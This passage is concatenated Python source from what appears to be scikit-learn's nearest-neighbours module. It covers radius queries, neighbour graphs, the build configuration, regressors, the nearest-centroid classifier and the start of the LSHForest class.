        >>> print(np.asarray(rng[1][0])) # doctest: +ELLIPSIS
        [1 2]

        The first array returned contains the distances to all points which
        are closer than 1.6, while the second array returned contains their
        indices.  In general, multiple points can be queried at the same time.

        Notes
        -----
        Because the number of neighbors of each point is not necessarily
        equal, the results for multiple query points cannot be fit in a
        standard data array.
        For efficiency, `radius_neighbors` returns arrays of objects, where
        each object is a 1D array of indices or distances.
        """
        if self._fit_method is None:
            raise NotFittedError("Must fit neighbors before querying.")

        if X is not None:
            query_is_train = False
            X = check_array(X, accept_sparse='csr')
        else:
            query_is_train = True
            X = self._fit_X

        if radius is None:
            radius = self.radius

        n_samples = X.shape[0]
        if self._fit_method == 'brute':
            # for efficiency, use squared euclidean distances
            if self.effective_metric_ == 'euclidean':
                dist = pairwise_distances(X, self._fit_X, 'euclidean',
                                          squared=True)
                radius *= radius
            else:
                dist = pairwise_distances(X, self._fit_X,
                                          self.effective_metric_,
                                          **self.effective_metric_params_)

            neigh_ind_list = [np.where(d <= radius)[0] for d in dist]

            # See https://github.com/numpy/numpy/issues/5456
            # if you want to understand why this is initialized this way.
            neigh_ind = np.empty(n_samples, dtype='object')
            neigh_ind[:] = neigh_ind_list

            if return_distance:
                dist_array = np.empty(n_samples, dtype='object')
                if self.effective_metric_ == 'euclidean':
                    dist_list = [np.sqrt(d[neigh_ind[i]])
                                 for i, d in enumerate(dist)]
                else:
                    dist_list = [d[neigh_ind[i]]
                                 for i, d in enumerate(dist)]
                dist_array[:] = dist_list

                results = dist_array, neigh_ind
            else:
                results = neigh_ind

        elif self._fit_method in ['ball_tree', 'kd_tree']:
            if issparse(X):
                raise ValueError(
                    "%s does not work with sparse matrices. Densify the data, "
                    "or set algorithm='brute'" % self._fit_method)
            results = self._tree.query_radius(X, radius,
                                              return_distance=return_distance)
            if return_distance:
                results = results[::-1]
        else:
            raise ValueError("internal: _fit_method not recognized")

        if not query_is_train:
            return results
        else:
            # If the query data is the same as the indexed data, we would like
            # to ignore the first nearest neighbor of every sample, i.e
            # the sample itself.
            if return_distance:
                dist, neigh_ind = results
            else:
                neigh_ind = results

            for ind, ind_neighbor in enumerate(neigh_ind):
                mask = ind_neighbor != ind

                neigh_ind[ind] = ind_neighbor[mask]
                if return_distance:
                    dist[ind] = dist[ind][mask]

            if return_distance:
                return dist, neigh_ind
            return neigh_ind

    def radius_neighbors_graph(self, X=None, radius=None, mode='connectivity'):
        """Computes the (weighted) graph of Neighbors for points in X

        Neighborhoods are restricted the points at a distance lower than
        radius.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features], optional
            The query point or points.
            If not provided, neighbors of each indexed point are returned.
            In this case, the query point is not considered its own neighbor.

        radius : float
            Radius of neighborhoods.
            (default is the value passed to the constructor).

        mode : {'connectivity', 'distance'}, optional
            Type of returned matrix: 'connectivity' will return the
            connectivity matrix with ones and zeros, in 'distance' the
            edges are Euclidean distance between points.

        Returns
        -------
        A : sparse matrix in CSR format, shape = [n_samples, n_samples]
            A[i, j] is assigned the weight of edge that connects i to j.

        Examples
        --------
        >>> X = [[0], [3], [1]]
        >>> from sklearn.neighbors import NearestNeighbors
        >>> neigh = NearestNeighbors(radius=1.5)
        >>> neigh.fit(X) # doctest: +ELLIPSIS
        NearestNeighbors(algorithm='auto', leaf_size=30, ...)
        >>> A = neigh.radius_neighbors_graph(X)
        >>> A.toarray()
        array([[ 1.,  0.,  1.],
               [ 0.,  1.,  0.],
               [ 1.,  0.,  1.]])

        See also
        --------
        kneighbors_graph
        """
        if X is not None:
            X = check_array(X, accept_sparse=['csr', 'csc', 'coo'])

        n_samples2 = self._fit_X.shape[0]
        if radius is None:
            radius = self.radius

        # construct CSR matrix representation of the NN graph
        if mode == 'connectivity':
            A_ind = self.radius_neighbors(X, radius,
                                          return_distance=False)
            A_data = None
        elif mode == 'distance':
            dist, A_ind = self.radius_neighbors(X, radius,
                                                return_distance=True)
            A_data = np.concatenate(list(dist))
        else:
            raise ValueError(
                'Unsupported mode, must be one of "connectivity", '
                'or "distance" but got %s instead' % mode)

        n_samples1 = A_ind.shape[0]
        n_neighbors = np.array([len(a) for a in A_ind])
        A_ind = np.concatenate(list(A_ind))
        if A_data is None:
            A_data = np.ones(len(A_ind))
        A_indptr = np.concatenate((np.zeros(1, dtype=int),
                                   np.cumsum(n_neighbors)))

        return csr_matrix((A_data, A_ind, A_indptr),
                          shape=(n_samples1, n_samples2))


class SupervisedFloatMixin(object):
    def fit(self, X, y):
        """Fit the model using X as training data and y as target values

        Parameters
        ----------
        X : {array-like, sparse matrix, BallTree, KDTree}
            Training data. If array or matrix, shape [n_samples, n_features],
            or [n_samples, n_samples] if metric='precomputed'.

        y : {array-like, sparse matrix}
            Target values, array of float values, shape = [n_samples]
             or [n_samples, n_outputs]
        """
        if not isinstance(X, (KDTree, BallTree)):
            X, y = check_X_y(X, y, "csr", multi_output=True)
        self._y = y
        return self._fit(X)


class SupervisedIntegerMixin(object):
    def fit(self, X, y):
        """Fit the model using X as training data and y as target values

        Parameters
        ----------
        X : {array-like, sparse matrix, BallTree, KDTree}
            Training data. If array or matrix, shape [n_samples, n_features],
            or [n_samples, n_samples] if metric='precomputed'.

        y : {array-like, sparse matrix}
            Target values of shape = [n_samples] or [n_samples, n_outputs]

        """
        if not isinstance(X, (KDTree, BallTree)):
            X, y = check_X_y(X, y, "csr", multi_output=True)

        if y.ndim == 1 or y.ndim == 2 and y.shape[1] == 1:
            if y.ndim != 1:
                warnings.warn("A column-vector y was passed when a 1d array "
                              "was expected. Please change the shape of y to "
                              "(n_samples, ), for example using ravel().",
                              DataConversionWarning, stacklevel=2)

            self.outputs_2d_ = False
            y = y.reshape((-1, 1))
        else:
            self.outputs_2d_ = True

        check_classification_targets(y)
        self.classes_ = []
        self._y = np.empty(y.shape, dtype=np.int)
        for k in range(self._y.shape[1]):
            classes, self._y[:, k] = np.unique(y[:, k], return_inverse=True)
            self.classes_.append(classes)

        if not self.outputs_2d_:
            self.classes_ = self.classes_[0]
            self._y = self._y.ravel()

        return self._fit(X)


class UnsupervisedMixin(object):
    def fit(self, X, y=None):
        """Fit the model using X as training data

        Parameters
        ----------
        X : {array-like, sparse matrix, BallTree, KDTree}
            Training data. If array or matrix, shape [n_samples, n_features],
            or [n_samples, n_samples] if metric='precomputed'.
        """
        return self._fit(X)






"""Nearest Neighbors graph functions"""

# Author: Jake Vanderplas <vanderplas@astro.washington.edu>
#
# License: BSD 3 clause (C) INRIA, University of Amsterdam

from .base import KNeighborsMixin, RadiusNeighborsMixin
from .unsupervised import NearestNeighbors


def _check_params(X, metric, p, metric_params):
    """Check the validity of the input parameters"""
    params = zip(['metric', 'p', 'metric_params'],
                 [metric, p, metric_params])
    est_params = X.get_params()
    for param_name, func_param in params:
        if func_param != est_params[param_name]:
            raise ValueError(
                "Got %s for %s, while the estimator has %s for "
                "the same parameter." % (
                    func_param, param_name, est_params[param_name]))


def _query_include_self(X, include_self):
    """Return the query based on include_self param"""
    if include_self:
        query = X._fit_X
    else:
        query = None

    return query


def kneighbors_graph(X, n_neighbors, mode='connectivity', metric='minkowski',
                     p=2, metric_params=None, include_self=False, n_jobs=1):
    """Computes the (weighted) graph of k-Neighbors for points in X

    Read more in the :ref:`User Guide <unsupervised_neighbors>`.

    Parameters
    ----------
    X : array-like or BallTree, shape = [n_samples, n_features]
        Sample data, in the form of a numpy array or a precomputed
        :class:`BallTree`.

    n_neighbors : int
        Number of neighbors for each sample.

    mode : {'connectivity', 'distance'}, optional
        Type of returned matrix: 'connectivity' will return the connectivity
        matrix with ones and zeros, and 'distance' will return the distances
        between neighbors according to the given metric.

    metric : string, default 'minkowski'
        The distance metric used to calculate the k-Neighbors for each sample
        point. The DistanceMetric class gives a list of available metrics.
        The default distance is 'euclidean' ('minkowski' metric with the p
        param equal to 2.)

    include_self: bool, default=False.
        Whether or not to mark each sample as the first nearest neighbor to
        itself. If `None`, then True is used for mode='connectivity' and False
        for mode='distance' as this will preserve backwards compatibilty.

    p : int, default 2
        Power parameter for the Minkowski metric. When p = 1, this is
        equivalent to using manhattan_distance (l1), and euclidean_distance
        (l2) for p = 2. For arbitrary p, minkowski_distance (l_p) is used.

    metric_params: dict, optional
        additional keyword arguments for the metric function.

    n_jobs : int, optional (default = 1)
        The number of parallel jobs to run for neighbors search.
        If ``-1``, then the number of jobs is set to the number of CPU cores.

    Returns
    -------
    A : sparse matrix in CSR format, shape = [n_samples, n_samples]
        A[i, j] is assigned the weight of edge that connects i to j.

    Examples
    --------
    >>> X = [[0], [3], [1]]
    >>> from sklearn.neighbors import kneighbors_graph
    >>> A = kneighbors_graph(X, 2, mode='connectivity', include_self=True)
    >>> A.toarray()
    array([[ 1.,  0.,  1.],
           [ 0.,  1.,  1.],
           [ 1.,  0.,  1.]])

    See also
    --------
    radius_neighbors_graph
    """
    if not isinstance(X, KNeighborsMixin):
        X = NearestNeighbors(n_neighbors, metric=metric, p=p,
                             metric_params=metric_params, n_jobs=n_jobs).fit(X)
    else:
        _check_params(X, metric, p, metric_params)

    query = _query_include_self(X, include_self)
    return X.kneighbors_graph(X=query, n_neighbors=n_neighbors, mode=mode)


def radius_neighbors_graph(X, radius, mode='connectivity', metric='minkowski',
                           p=2, metric_params=None, include_self=False, n_jobs=1):
    """Computes the (weighted) graph of Neighbors for points in X

    Neighborhoods are restricted the points at a distance lower than
    radius.

    Read more in the :ref:`User Guide <unsupervised_neighbors>`.

    Parameters
    ----------
    X : array-like or BallTree, shape = [n_samples, n_features]
        Sample data, in the form of a numpy array or a precomputed
        :class:`BallTree`.

    radius : float
        Radius of neighborhoods.

    mode : {'connectivity', 'distance'}, optional
        Type of returned matrix: 'connectivity' will return the connectivity
        matrix with ones and zeros, and 'distance' will return the distances
        between neighbors according to the given metric.

    metric : string, default 'minkowski'
        The distance metric used to calculate the neighbors within a
        given radius for each sample point. The DistanceMetric class
        gives a list of available metrics. The default distance is
        'euclidean' ('minkowski' metric with the param equal to 2.)

    include_self: bool, default=False
        Whether or not to mark each sample as the first nearest neighbor to
        itself. If `None`, then True is used for mode='connectivity' and False
        for mode='distance' as this will preserve backwards compatibilty.

    p : int, default 2
        Power parameter for the Minkowski metric. When p = 1, this is
        equivalent to using manhattan_distance (l1), and euclidean_distance
        (l2) for p = 2. For arbitrary p, minkowski_distance (l_p) is used.

    metric_params: dict, optional
        additional keyword arguments for the metric function.

    n_jobs : int, optional (default = 1)
        The number of parallel jobs to run for neighbors search.
        If ``-1``, then the number of jobs is set to the number of CPU cores.

    Returns
    -------
    A : sparse matrix in CSR format, shape = [n_samples, n_samples]
        A[i, j] is assigned the weight of edge that connects i to j.

    Examples
    --------
    >>> X = [[0], [3], [1]]
    >>> from sklearn.neighbors import radius_neighbors_graph
    >>> A = radius_neighbors_graph(X, 1.5, mode='connectivity', include_self=True)
    >>> A.toarray()
    array([[ 1.,  0.,  1.],
           [ 0.,  1.,  0.],
           [ 1.,  0.,  1.]])

    See also
    --------
    kneighbors_graph
    """
    if not isinstance(X, RadiusNeighborsMixin):
        X = NearestNeighbors(radius=radius, metric=metric, p=p,
                             metric_params=metric_params, n_jobs=n_jobs).fit(X)
    else:
        _check_params(X, metric, p, metric_params)

    query = _query_include_self(X, include_self)
    return X.radius_neighbors_graph(query, radius, mode)






import os


def configuration(parent_package='', top_path=None):
    import numpy
    from numpy.distutils.misc_util import Configuration

    config = Configuration('neighbors', parent_package, top_path)
    libraries = []
    if os.name == 'posix':
        libraries.append('m')

    config.add_extension('ball_tree',
                         sources=['ball_tree.c'],
                         include_dirs=[numpy.get_include()],
                         libraries=libraries)

    config.add_extension('kd_tree',
                         sources=['kd_tree.c'],
                         include_dirs=[numpy.get_include()],
                         libraries=libraries)

    config.add_extension('dist_metrics',
                         sources=['dist_metrics.c'],
                         include_dirs=[numpy.get_include(),
                                       os.path.join(numpy.get_include(),
                                                    'numpy')],
                         libraries=libraries)

    config.add_extension('typedefs',
                         sources=['typedefs.c'],
                         include_dirs=[numpy.get_include()],
                         libraries=libraries)

    config.add_subpackage('tests')

    return config






"""
The :mod:`sklearn.neighbors` module implements the k-nearest neighbors
algorithm.
"""

from .ball_tree import BallTree
from .kd_tree import KDTree
from .dist_metrics import DistanceMetric
from .graph import kneighbors_graph, radius_neighbors_graph
from .unsupervised import NearestNeighbors
from .classification import KNeighborsClassifier, RadiusNeighborsClassifier
from .regression import KNeighborsRegressor, RadiusNeighborsRegressor
from .nearest_centroid import NearestCentroid
from .kde import KernelDensity
from .approximate import LSHForest

__all__ = ['BallTree',
           'DistanceMetric',
           'KDTree',
           'KNeighborsClassifier',
           'KNeighborsRegressor',
           'NearestCentroid',
           'NearestNeighbors',
           'RadiusNeighborsClassifier',
           'RadiusNeighborsRegressor',
           'kneighbors_graph',
           'radius_neighbors_graph',
           'KernelDensity',
           'LSHForest']






"""Nearest Neighbor Regression"""

# Authors: Jake Vanderplas <vanderplas@astro.washington.edu>
#          Fabian Pedregosa <fabian.pedregosa@inria.fr>
#          Alexandre Gramfort <alexandre.gramfort@inria.fr>
#          Sparseness support by Lars Buitinck
#          Multi-output support by Arnaud Joly <a.joly@ulg.ac.be>
#
# License: BSD 3 clause (C) INRIA, University of Amsterdam

import numpy as np

from .base import _get_weights, _check_weights, NeighborsBase, KNeighborsMixin
from .base import RadiusNeighborsMixin, SupervisedFloatMixin
from ..base import RegressorMixin
from ..utils import check_array


class KNeighborsRegressor(NeighborsBase, KNeighborsMixin,
                          SupervisedFloatMixin,
                          RegressorMixin):
    """Regression based on k-nearest neighbors.

    The target is predicted by local interpolation of the targets
    associated of the nearest neighbors in the training set.

    Read more in the :ref:`User Guide <regression>`.

    Parameters
    ----------
    n_neighbors : int, optional (default = 5)
        Number of neighbors to use by default for :meth:`k_neighbors` queries.

    weights : str or callable
        weight function used in prediction.  Possible values:

        - 'uniform' : uniform weights.  All points in each neighborhood
          are weighted equally.
        - 'distance' : weight points by the inverse of their distance.
          in this case, closer neighbors of a query point will have a
          greater influence than neighbors which are further away.
        - [callable] : a user-defined function which accepts an
          array of distances, and returns an array of the same shape
          containing the weights.

        Uniform weights are used by default.

    algorithm : {'auto', 'ball_tree', 'kd_tree', 'brute'}, optional
        Algorithm used to compute the nearest neighbors:

        - 'ball_tree' will use :class:`BallTree`
        - 'kd_tree' will use :class:`KDtree`
        - 'brute' will use a brute-force search.
        - 'auto' will attempt to decide the most appropriate algorithm
          based on the values passed to :meth:`fit` method.

        Note: fitting on sparse input will override the setting of
        this parameter, using brute force.

    leaf_size : int, optional (default = 30)
        Leaf size passed to BallTree or KDTree.  This can affect the
        speed of the construction and query, as well as the memory
        required to store the tree.  The optimal value depends on the
        nature of the problem.

    metric : string or DistanceMetric object (default='minkowski')
        the distance metric to use for the tree.  The default metric is
        minkowski, and with p=2 is equivalent to the standard Euclidean
        metric. See the documentation of the DistanceMetric class for a
        list of available metrics.

    p : integer, optional (default = 2)
        Power parameter for the Minkowski metric. When p = 1, this is
        equivalent to using manhattan_distance (l1), and euclidean_distance
        (l2) for p = 2. For arbitrary p, minkowski_distance (l_p) is used.

    metric_params : dict, optional (default = None)
        Additional keyword arguments for the metric function.

    n_jobs : int, optional (default = 1)
        The number of parallel jobs to run for neighbors search.
        If ``-1``, then the number of jobs is set to the number of CPU cores.
        Doesn't affect :meth:`fit` method.

    Examples
    --------
    >>> X = [[0], [1], [2], [3]]
    >>> y = [0, 0, 1, 1]
    >>> from sklearn.neighbors import KNeighborsRegressor
    >>> neigh = KNeighborsRegressor(n_neighbors=2)
    >>> neigh.fit(X, y) # doctest: +ELLIPSIS
    KNeighborsRegressor(...)
    >>> print(neigh.predict([[1.5]]))
    [ 0.5]

    See also
    --------
    NearestNeighbors
    RadiusNeighborsRegressor
    KNeighborsClassifier
    RadiusNeighborsClassifier

    Notes
    -----
    See :ref:`Nearest Neighbors <neighbors>` in the online documentation
    for a discussion of the choice of ``algorithm`` and ``leaf_size``.

    .. warning::

       Regarding the Nearest Neighbors algorithms, if it is found that two
       neighbors, neighbor `k+1` and `k`, have identical distances but
       but different labels, the results will depend on the ordering of the
       training data.

    https://en.wikipedia.org/wiki/K-nearest_neighbor_algorithm
    """

    def __init__(self, n_neighbors=5, weights='uniform',
                 algorithm='auto', leaf_size=30,
                 p=2, metric='minkowski', metric_params=None, n_jobs=1,
                 **kwargs):
        self._init_params(n_neighbors=n_neighbors,
                          algorithm=algorithm,
                          leaf_size=leaf_size, metric=metric, p=p,
                          metric_params=metric_params, n_jobs=n_jobs, **kwargs)
        self.weights = _check_weights(weights)

    def predict(self, X):
        """Predict the target for the provided data

        Parameters
        ----------
        X : array-like, shape (n_query, n_features), \
                or (n_query, n_indexed) if metric == 'precomputed'
            Test samples.

        Returns
        -------
        y : array of int, shape = [n_samples] or [n_samples, n_outputs]
            Target values
        """
        X = check_array(X, accept_sparse='csr')

        neigh_dist, neigh_ind = self.kneighbors(X)

        weights = _get_weights(neigh_dist, self.weights)

        _y = self._y
        if _y.ndim == 1:
            _y = _y.reshape((-1, 1))

        if weights is None:
            y_pred = np.mean(_y[neigh_ind], axis=1)
        else:
            y_pred = np.empty((X.shape[0], _y.shape[1]), dtype=np.float64)
            denom = np.sum(weights, axis=1)

            for j in range(_y.shape[1]):
                num = np.sum(_y[neigh_ind, j] * weights, axis=1)
                y_pred[:, j] = num / denom

        if self._y.ndim == 1:
            y_pred = y_pred.ravel()

        return y_pred


class RadiusNeighborsRegressor(NeighborsBase, RadiusNeighborsMixin,
                               SupervisedFloatMixin,
                               RegressorMixin):
    """Regression based on neighbors within a fixed radius.

    The target is predicted by local interpolation of the targets
    associated of the nearest neighbors in the training set.

    Read more in the :ref:`User Guide <regression>`.

    Parameters
    ----------
    radius : float, optional (default = 1.0)
        Range of parameter space to use by default for :meth`radius_neighbors`
        queries.

    weights : str or callable
        weight function used in prediction.  Possible values:

        - 'uniform' : uniform weights.  All points in each neighborhood
          are weighted equally.
        - 'distance' : weight points by the inverse of their distance.
          in this case, closer neighbors of a query point will have a
          greater influence than neighbors which are further away.
        - [callable] : a user-defined function which accepts an
          array of distances, and returns an array of the same shape
          containing the weights.

        Uniform weights are used by default.

    algorithm : {'auto', 'ball_tree', 'kd_tree', 'brute'}, optional
        Algorithm used to compute the nearest neighbors:

        - 'ball_tree' will use :class:`BallTree`
        - 'kd_tree' will use :class:`KDtree`
        - 'brute' will use a brute-force search.
        - 'auto' will attempt to decide the most appropriate algorithm
          based on the values passed to :meth:`fit` method.

        Note: fitting on sparse input will override the setting of
        this parameter, using brute force.

    leaf_size : int, optional (default = 30)
        Leaf size passed to BallTree or KDTree.  This can affect the
        speed of the construction and query, as well as the memory
        required to store the tree.  The optimal value depends on the
        nature of the problem.

    metric : string or DistanceMetric object (default='minkowski')
        the distance metric to use for the tree.  The default metric is
        minkowski, and with p=2 is equivalent to the standard Euclidean
        metric. See the documentation of the DistanceMetric class for a
        list of available metrics.

    p : integer, optional (default = 2)
        Power parameter for the Minkowski metric. When p = 1, this is
        equivalent to using manhattan_distance (l1), and euclidean_distance
        (l2) for p = 2. For arbitrary p, minkowski_distance (l_p) is used.

    metric_params : dict, optional (default = None)
        Additional keyword arguments for the metric function.

    Examples
    --------
    >>> X = [[0], [1], [2], [3]]
    >>> y = [0, 0, 1, 1]
    >>> from sklearn.neighbors import RadiusNeighborsRegressor
    >>> neigh = RadiusNeighborsRegressor(radius=1.0)
    >>> neigh.fit(X, y) # doctest: +ELLIPSIS
    RadiusNeighborsRegressor(...)
    >>> print(neigh.predict([[1.5]]))
    [ 0.5]

    See also
    --------
    NearestNeighbors
    KNeighborsRegressor
    KNeighborsClassifier
    RadiusNeighborsClassifier

    Notes
    -----
    See :ref:`Nearest Neighbors <neighbors>` in the online documentation
    for a discussion of the choice of ``algorithm`` and ``leaf_size``.

    https://en.wikipedia.org/wiki/K-nearest_neighbor_algorithm
    """

    def __init__(self, radius=1.0, weights='uniform',
                 algorithm='auto', leaf_size=30,
                 p=2, metric='minkowski', metric_params=None, **kwargs):
        self._init_params(radius=radius,
                          algorithm=algorithm,
                          leaf_size=leaf_size,
                          p=p, metric=metric, metric_params=metric_params,
                          **kwargs)
        self.weights = _check_weights(weights)

    def predict(self, X):
        """Predict the target for the provided data

        Parameters
        ----------
        X : array-like, shape (n_query, n_features), \
                or (n_query, n_indexed) if metric == 'precomputed'
            Test samples.

        Returns
        -------
        y : array of int, shape = [n_samples] or [n_samples, n_outputs]
            Target values
        """
        X = check_array(X, accept_sparse='csr')

        neigh_dist, neigh_ind = self.radius_neighbors(X)

        weights = _get_weights(neigh_dist, self.weights)

        _y = self._y
        if _y.ndim == 1:
            _y = _y.reshape((-1, 1))

        if weights is None:
            y_pred = np.array([np.mean(_y[ind, :], axis=0)
                               for ind in neigh_ind])
        else:
            y_pred = np.array([(np.average(_y[ind, :], axis=0,
                                           weights=weights[i]))
                               for (i, ind) in enumerate(neigh_ind)])

        if self._y.ndim == 1:
            y_pred = y_pred.ravel()

        return y_pred






# -*- coding: utf-8 -*-
"""
Nearest Centroid Classification
"""

# Author: Robert Layton <robertlayton@gmail.com>
#         Olivier Grisel <olivier.grisel@ensta.org>
#
# License: BSD 3 clause

import warnings
import numpy as np
from scipy import sparse as sp

from ..base import BaseEstimator, ClassifierMixin
from ..metrics.pairwise import pairwise_distances
from ..preprocessing import LabelEncoder
from ..utils.validation import check_array, check_X_y, check_is_fitted
from ..utils.sparsefuncs import csc_median_axis_0
from ..utils.multiclass import check_classification_targets

class NearestCentroid(BaseEstimator, ClassifierMixin):
    """Nearest centroid classifier.

    Each class is represented by its centroid, with test samples classified to
    the class with the nearest centroid.

    Read more in the :ref:`User Guide <nearest_centroid_classifier>`.

    Parameters
    ----------
    metric: string, or callable
        The metric to use when calculating distance between instances in a
        feature array. If metric is a string or callable, it must be one of
        the options allowed by metrics.pairwise.pairwise_distances for its
        metric parameter.
        The centroids for the samples corresponding to each class is the point
        from which the sum of the distances (according to the metric) of all
        samples that belong to that particular class are minimized.
        If the "manhattan" metric is provided, this centroid is the median and
        for all other metrics, the centroid is now set to be the mean.

    shrink_threshold : float, optional (default = None)
        Threshold for shrinking centroids to remove features.

    Attributes
    ----------
    centroids_ : array-like, shape = [n_classes, n_features]
        Centroid of each class

    Examples
    --------
    >>> from sklearn.neighbors.nearest_centroid import NearestCentroid
    >>> import numpy as np
    >>> X = np.array([[-1, -1], [-2, -1], [-3, -2], [1, 1], [2, 1], [3, 2]])
    >>> y = np.array([1, 1, 1, 2, 2, 2])
    >>> clf = NearestCentroid()
    >>> clf.fit(X, y)
    NearestCentroid(metric='euclidean', shrink_threshold=None)
    >>> print(clf.predict([[-0.8, -1]]))
    [1]

    See also
    --------
    sklearn.neighbors.KNeighborsClassifier: nearest neighbors classifier

    Notes
    -----
    When used for text classification with tf-idf vectors, this classifier is
    also known as the Rocchio classifier.

    References
    ----------
    Tibshirani, R., Hastie, T., Narasimhan, B., & Chu, G. (2002). Diagnosis of
    multiple cancer types by shrunken centroids of gene expression. Proceedings
    of the National Academy of Sciences of the United States of America,
    99(10), 6567-6572. The National Academy of Sciences.

    """

    def __init__(self, metric='euclidean', shrink_threshold=None):
        self.metric = metric
        self.shrink_threshold = shrink_threshold

    def fit(self, X, y):
        """
        Fit the NearestCentroid model according to the given training data.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Training vector, where n_samples in the number of samples and
            n_features is the number of features.
            Note that centroid shrinking cannot be used with sparse matrices.
        y : array, shape = [n_samples]
            Target values (integers)
        """
        # If X is sparse and the metric is "manhattan", store it in a csc
        # format is easier to calculate the median.
        if self.metric == 'manhattan':
            X, y = check_X_y(X, y, ['csc'])
        else:
            X, y = check_X_y(X, y, ['csr', 'csc'])
        is_X_sparse = sp.issparse(X)
        if is_X_sparse and self.shrink_threshold:
            raise ValueError("threshold shrinking not supported"
                             " for sparse input")
        check_classification_targets(y)

        n_samples, n_features = X.shape
        le = LabelEncoder()
        y_ind = le.fit_transform(y)
        self.classes_ = classes = le.classes_
        n_classes = classes.size
        if n_classes < 2:
            raise ValueError('y has less than 2 classes')

        # Mask mapping each class to its members.
        self.centroids_ = np.empty((n_classes, n_features), dtype=np.float64)
        # Number of clusters in each class.
        nk = np.zeros(n_classes)

        for cur_class in range(n_classes):
            center_mask = y_ind == cur_class
            nk[cur_class] = np.sum(center_mask)
            if is_X_sparse:
                center_mask = np.where(center_mask)[0]

            # XXX: Update other averaging methods according to the metrics.
            if self.metric == "manhattan":
                # NumPy does not calculate median of sparse matrices.
                if not is_X_sparse:
                    self.centroids_[cur_class] = np.median(X[center_mask], axis=0)
                else:
                    self.centroids_[cur_class] = csc_median_axis_0(X[center_mask])
            else:
                if self.metric != 'euclidean':
                    warnings.warn("Averaging for metrics other than "
                                  "euclidean and manhattan not supported. "
                                  "The average is set to be the mean."
                                  )
                self.centroids_[cur_class] = X[center_mask].mean(axis=0)

        if self.shrink_threshold:
            dataset_centroid_ = np.mean(X, axis=0)

            # m parameter for determining deviation
            m = np.sqrt((1. / nk) + (1. / n_samples))
            # Calculate deviation using the standard deviation of centroids.
            variance = (X - self.centroids_[y_ind]) ** 2
            variance = variance.sum(axis=0)
            s = np.sqrt(variance / (n_samples - n_classes))
            s += np.median(s)  # To deter outliers from affecting the results.
            mm = m.reshape(len(m), 1)  # Reshape to allow broadcasting.
            ms = mm * s
            deviation = ((self.centroids_ - dataset_centroid_) / ms)
            # Soft thresholding: if the deviation crosses 0 during shrinking,
            # it becomes zero.
            signs = np.sign(deviation)
            deviation = (np.abs(deviation) - self.shrink_threshold)
            deviation[deviation < 0] = 0
            deviation *= signs
            # Now adjust the centroids using the deviation
            msd = ms * deviation
            self.centroids_ = dataset_centroid_[np.newaxis, :] + msd
        return self

    def predict(self, X):
        """Perform classification on an array of test vectors X.

        The predicted class C for each sample in X is returned.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]

        Returns
        -------
        C : array, shape = [n_samples]

        Notes
        -----
        If the metric constructor parameter is "precomputed", X is assumed to
        be the distance matrix between the data to be predicted and
        ``self.centroids_``.
        """
        check_is_fitted(self, 'centroids_')

        X = check_array(X, accept_sparse='csr')
        return self.classes_[pairwise_distances(
            X, self.centroids_, metric=self.metric).argmin(axis=1)]






"""Approximate nearest neighbor search"""
# Author: Maheshakya Wijewardena <maheshakya.10@cse.mrt.ac.lk>
#         Joel Nothman <joel.nothman@gmail.com>

import numpy as np
import warnings

from scipy import sparse

from .base import KNeighborsMixin, RadiusNeighborsMixin
from ..base import BaseEstimator
from ..utils.validation import check_array
from ..utils import check_random_state
from ..metrics.pairwise import pairwise_distances

from ..random_projection import GaussianRandomProjection

__all__ = ["LSHForest"]

HASH_DTYPE = '>u4'
MAX_HASH_SIZE = np.dtype(HASH_DTYPE).itemsize * 8


def _find_matching_indices(tree, bin_X, left_mask, right_mask):
    """Finds indices in sorted array of integers.

    Most significant h bits in the binary representations of the
    integers are matched with the items' most significant h bits.
    """
    left_index = np.searchsorted(tree, bin_X & left_mask)
    right_index = np.searchsorted(tree, bin_X | right_mask,
                                  side='right')
    return left_index, right_index


def _find_longest_prefix_match(tree, bin_X, hash_size,
                               left_masks, right_masks):
    """Find the longest prefix match in tree for each query in bin_X

    Most significant bits are considered as the prefix.
    """
    hi = np.empty_like(bin_X, dtype=np.intp)
    hi.fill(hash_size)
    lo = np.zeros_like(bin_X, dtype=np.intp)
    res = np.empty_like(bin_X, dtype=np.intp)

    left_idx, right_idx = _find_matching_indices(tree, bin_X,
                                                 left_masks[hi],
                                                 right_masks[hi])
    found = right_idx > left_idx
    res[found] = lo[found] = hash_size

    r = np.arange(bin_X.shape[0])
    kept = r[lo < hi]  # indices remaining in bin_X mask
    while kept.shape[0]:
        mid = (lo.take(kept) + hi.take(kept)) // 2

        left_idx, right_idx = _find_matching_indices(tree,
                                                     bin_X.take(kept),
                                                     left_masks[mid],
                                                     right_masks[mid])
        found = right_idx > left_idx
        mid_found = mid[found]
        lo[kept[found]] = mid_found + 1
        res[kept[found]] = mid_found
        hi[kept[~found]] = mid[~found]

        kept = r[lo < hi]

    return res


class ProjectionToHashMixin(object):
    """Turn a transformed real-valued array into a hash"""
    @staticmethod
    def _to_hash(projected):
        if projected.shape[1] % 8 != 0:
            raise ValueError('Require reduced dimensionality to be a multiple '
                             'of 8 for hashing')
        # XXX: perhaps non-copying operation better
        out = np.packbits((projected > 0).astype(int)).view(dtype=HASH_DTYPE)
        return out.reshape(projected.shape[0], -1)

    def fit_transform(self, X, y=None):
        self.fit(X)
        return self.transform(X)

    def transform(self, X, y=None):
        return self._to_hash(super(ProjectionToHashMixin, self).transform(X))


class GaussianRandomProjectionHash(ProjectionToHashMixin,
                                   GaussianRandomProjection):
    """Use GaussianRandomProjection to produce a cosine LSH fingerprint"""
    def __init__(self,
                 n_components=8,
                 random_state=None):
        super(GaussianRandomProjectionHash, self).__init__(
            n_components=n_components,
            random_state=random_state)


def _array_of_arrays(list_of_arrays):
    """Creates an array of array from list of arrays."""
    out = np.empty(len(list_of_arrays), dtype=object)
    out[:] = list_of_arrays
    return out


class LSHForest(BaseEstimator, KNeighborsMixin, RadiusNeighborsMixin):
    """Performs approximate nearest neighbor search using LSH forest.

    LSH Forest: Locality Sensitive Hashing forest [1] is an alternative
    method for vanilla approximate nearest neighbor search methods.
    LSH forest data structure has been implemented using sorted
    arrays and binary search and 32 bit fixed-length hashes.
    Random projection is used as the hash family which approximates
    cosine distance.

    The cosine distance is defined as ``1 - cosine_similarity``: the lowest
    value is 0 (identical point) but it is bounded above by 2 for the farthest
    points. Its value does not depend on the norm of the vector points but
    only on their relative angles.

    Read more in the :ref:`User Guide <approximate_nearest_neighbors>`.

    Parameters
    ----------

